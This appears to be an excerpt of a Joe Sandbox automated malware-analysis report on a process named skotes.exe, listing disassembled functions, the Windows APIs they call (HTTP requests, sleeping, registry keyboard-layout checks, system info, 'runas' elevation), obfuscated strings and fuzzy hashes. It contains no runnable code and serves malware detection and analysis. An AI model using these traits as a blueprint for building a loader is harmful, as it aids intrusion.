Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f815705f13486aa958d88e5354651086b615dbdf461ef9d30f17d08406d592c7
Instruction ID: 883987c4b5afb59be92340ed62f8ac2805b5e2aef45f7593ffb489e22ab0db80
Opcode Fuzzy Hash: f815705f13486aa958d88e5354651086b615dbdf461ef9d30f17d08406d592c7
Instruction Fuzzy Hash: EA01B1EB04C129BD7942D5913F189FE3AAFE5D73343308026F443C5112E2D84B4A3532

Function 05770B1F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ecc0106e0afcf7a844058c9a34d5dee6a65b03d6d083ae82e99283ee7abe84
Instruction ID: e1cac795889bcd9d0b1d09d721814d3da281594683176bf494afb938573a18b1
Opcode Fuzzy Hash: 33ecc0106e0afcf7a844058c9a34d5dee6a65b03d6d083ae82e99283ee7abe84
Instruction Fuzzy Hash: 10F05EE714C119BD7A42E1913F1CAFE672EE1DA338330846BF407C5511E3980B5A2936

Function 05770B6D Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fba1a156ce545e9977148d83893c72d6d4ebaaefc9bace04e5842b5905648e6
Instruction ID: 1499aa39d9655ed5234e61aa1e96f386f31c734d15716594a1f51ffe4961c86d
Opcode Fuzzy Hash: 2fba1a156ce545e9977148d83893c72d6d4ebaaefc9bace04e5842b5905648e6
Instruction Fuzzy Hash: ABE046EB21D115AE7A42D5A23F1CAFF236EE0C9334330882BF402C5021E2980B4A2936

Function 05770B87 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2128852314.0000000005770000.00000040.00001000.00020000.00000000.sdmp, Offset: 05770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5770000_VG65QSLZVUGSLKDE78EZSIIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc1e7afdc12ecd211e9302f3de3977fb67b462c04724b95dba89e4cf0f282fa6
Instruction ID: 6064f04f7b7b9a85b8191b9787a59880a0cc90c7ee2d79bbe321d59031b5f850
Opcode Fuzzy Hash: fc1e7afdc12ecd211e9302f3de3977fb67b462c04724b95dba89e4cf0f282fa6
Instruction Fuzzy Hash: D6E0D893158206BCA607D760BD4D9FE332EF6C93243344426F002C6112E35C4B056A35

Analysis Process: skotes.exePID: 404, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.1%
Total number of Nodes:	1223
Total number of Limit Nodes:	8

Executed Functions

Function 003FBE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 003FBEB8
InternetOpenW.WININET(00448DC8,00000000,00000000,00000000,00000000), ref: 003FBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 003FBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 003FBF36
HttpSendRequestA.WININET(?,00000000), ref: 003FBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 003FC0A8
InternetCloseHandle.WININET(?), ref: 003FC187
InternetCloseHandle.WININET(?), ref: 003FC18F
InternetCloseHandle.WININET(?), ref: 003FC197

Strings

8HJUeIfzLo==, xrefs: 003FC3CB, 003FC623
stoi argument out of range, xrefs: 003FE4EA
RE1NXF==, xrefs: 003FBF0E
8HJUeMD Lq5=, xrefs: 003FC465
RmNn, xrefs: 003FD606
invalid stoi argument, xrefs: 003FE4F4

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: 9b3b1754e9eea02a3deab6fa4efdde586ae468edf62832879940e7bfb3422d14
Instruction ID: 6ada4063030226d395228d9c613f88f895400771deb93535ee4c2bb6ae2ee02d
Opcode Fuzzy Hash: 9b3b1754e9eea02a3deab6fa4efdde586ae468edf62832879940e7bfb3422d14
Instruction Fuzzy Hash: B4B115B1A2011C9BDB25CF28CD84BEDBB65EF41304F5045AEF608A72C1DB759AC4CB99

Function 003FE530 Relevance: 16.0, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTs=, xrefs: 004005CA
111, xrefs: 003FF7A0
#, xrefs: 00400624
GnNoc2Hc, xrefs: 003FE56C
246122658369, xrefs: 003FF737, 003FFA14, 004005E7, 0040099A
L1E, xrefs: 003FF7E5
MGE+, xrefs: 003FE821
WDw=, xrefs: 003FF71D, 003FF9FA
MQ==, xrefs: 003FE592
UA==, xrefs: 003FEB0F, 003FED56
WTw=, xrefs: 0040097D
9c9aa5, xrefs: 003FFB8E

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1E$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-3175316599
Opcode ID: 49c06c3906d31ed3e8babc94a46b6f8d72b3395e4a5b981b5266c5385398e233
Instruction ID: 3a1e716f581b50520bfb5dccd1b51bf6e7ddd5e1c27c94dd188ebdb7ec19457d
Opcode Fuzzy Hash: 49c06c3906d31ed3e8babc94a46b6f8d72b3395e4a5b981b5266c5385398e233
Instruction Fuzzy Hash: 3A82E370A1028C9BEF15EF68C9497DE7FB1AB46304F50859DE805273C2C7799A88CBD6

Function 0040D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003F24BE

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: acfd455ecd1219f7505a1bc3252cbfaa89cd576578948695678b7af1d70c4b6e
Instruction ID: 9f5cf48e30dafe3fc081df509b7aa5b01ea6710cecc65565e4552b073c6b34ae
Opcode Fuzzy Hash: acfd455ecd1219f7505a1bc3252cbfaa89cd576578948695678b7af1d70c4b6e
Instruction Fuzzy Hash: 4951BCB2E017068BDB15CF99D8856AEBBB0FB48315F24813BD505EB291D378E944CB98

Function 004047B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

Strings

93E0, xrefs: 00405600
Fw==, xrefs: 00404E1D
9250, xrefs: 004054AD
2I0, xrefs: 00405627
9HQ0, xrefs: 004054E1
Vmc0, xrefs: 004055D7
GE0, xrefs: 00405585
MGI+, xrefs: 004048AD, 004049DC, 00404BCC, 00404CFB
aWW0, xrefs: 0040555C
anE0, xrefs: 0040566B
stoi argument out of range, xrefs: 00404F9C
KCWUOl==, xrefs: 00405649
WGS0, xrefs: 00405533
3I3eB==, xrefs: 00404802
jS=, xrefs: 00406513, 004067E2
246122658369, xrefs: 0040502A, 0040503D, 0040507F, 00405089, 00405684
VXA0, xrefs: 004055AE
VXQ0, xrefs: 0040550A
MGE+, xrefs: 00404866, 004048DD, 00404B85, 00404BFC
8WI0, xrefs: 00405692
9c9aa5, xrefs: 00405619

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-1982281295
Opcode ID: 896a2f302c527e3ce5bbf0599830912f68aef5801efa6ba63e3881dbac2f8a36
Instruction ID: 62b776498c613da761e974c7e0c5cd9942a24564ce25cde86b8cc706d57b4357
Opcode Fuzzy Hash: 896a2f302c527e3ce5bbf0599830912f68aef5801efa6ba63e3881dbac2f8a36
Instruction Fuzzy Hash: 1E231671E002588BEB19DB28CE8979DBB769B82304F5481EDE049B72C2DB395FC48F55

Function 00402F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5120, xrefs: 00403BAF, 00403C9A
stoi argument out of range, xrefs: 00404359
Hykl, xrefs: 0040387F
Fw==, xrefs: 0040378E
WGpm, xrefs: 00403CC9
", xrefs: 00403F89
246122658369, xrefs: 00402F78
V2Te, xrefs: 00403EB0
WX f, xrefs: 00403BDE
invalid stoi argument, xrefs: 0040434A
WTw=, xrefs: 00402F5E

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 26eafeed6429c7e7da2978d0fbe790ae09ba35334e0838ac1564c830b6143bfc
Instruction ID: d6bb58968dff799dd3a262e7df50a1704aef8b5cba870a982e5f93ae91fb6080
Opcode Fuzzy Hash: 26eafeed6429c7e7da2978d0fbe790ae09ba35334e0838ac1564c830b6143bfc
Instruction Fuzzy Hash: 6D722470A002489BDB18EF78CD4A79DBFB5AF46304F5045AEE405B73C2D7399B848B96

Function 003F5EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 003F5F13

Strings

00000422, xrefs: 003F60C9
00000419, xrefs: 003F6098
00000423, xrefs: 003F60FA
0000043f, xrefs: 003F612B
Keyboard Layout\Preload, xrefs: 003F6054

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: ad3e6497d93d7e68b906ae4f1b621662d26f4c5446514af4838d64bcbcf4893d
Instruction ID: 62e546c3b4d6d1d1c5634945b795a740d729f58bb13102ad67e5f7e0067851cf
Opcode Fuzzy Hash: ad3e6497d93d7e68b906ae4f1b621662d26f4c5446514af4838d64bcbcf4893d
Instruction Fuzzy Hash: 92D1D07190021C9BEB25DF24CC89BEEB779AF05304F5042E9E608E72D1DB749BA88F55

Function 003F7D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 003F7ED3

Strings

JjssPV==, xrefs: 003F81E2
JjssOl==, xrefs: 003F813A
JjsrQV==, xrefs: 003F8092
P@, xrefs: 003F7D3D
JjsrPl==, xrefs: 003F828A

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$P@
API String ID: 1721193555-1063269942
Opcode ID: eb1b6dbffae9930c98fe480335debe89e67efa32e46713d40e719739915a0729
Instruction ID: e88683a4b17829db7db3b7aec28fcb8d8c503d7f053f7f6a875e7851ac63ad48
Opcode Fuzzy Hash: eb1b6dbffae9930c98fe480335debe89e67efa32e46713d40e719739915a0729
Instruction Fuzzy Hash: 5BE13C70F0021897DB1ABB28CD0B7AD7B61AB42714F94029EE9156B3C2DB755F848BC6

Function 003F7430 Relevance: 4.8, APIs: 3, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

runas, xrefs: 003F7303

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitExecuteMtx_destroy_in_situShell
String ID: runas
API String ID: 1191624902-4000483414
Opcode ID: fc7723fc29aa79adf4c79e3226c2c4072e7834a9109cbb6bec407a4a9f0bc159
Instruction ID: 4fba55497ee739ce174a1a5222ecafa54ae57ed5749c356590ded42162f5fe2f
Opcode Fuzzy Hash: fc7723fc29aa79adf4c79e3226c2c4072e7834a9109cbb6bec407a4a9f0bc159
Instruction Fuzzy Hash: F3A17870A10248DBDB09DF68CC85BAD7BB5EB45304F50462EF905A73D2CB39E984CB99

Function 003F8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 003F8524

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 656ca801be2ef4921fa8ed22071ceade01ea9f051c6ee69d58c5ed810595d603
Instruction ID: 18fafad0cc05830354aa9d9460ba28be47c993e1a770dc8b8d8b0428a612544d
Opcode Fuzzy Hash: 656ca801be2ef4921fa8ed22071ceade01ea9f051c6ee69d58c5ed810595d603
Instruction Fuzzy Hash: 8E516B70D1020C9BDB29EF69CD49BEDBB74EB46300F5042A9E908A72C1DF349E848B95

Function 0042B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00406CB7,?,?,0040D3FC,00406CB7,?,00407A8B,8B18EC84,054A0938), ref: 0042B07E

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
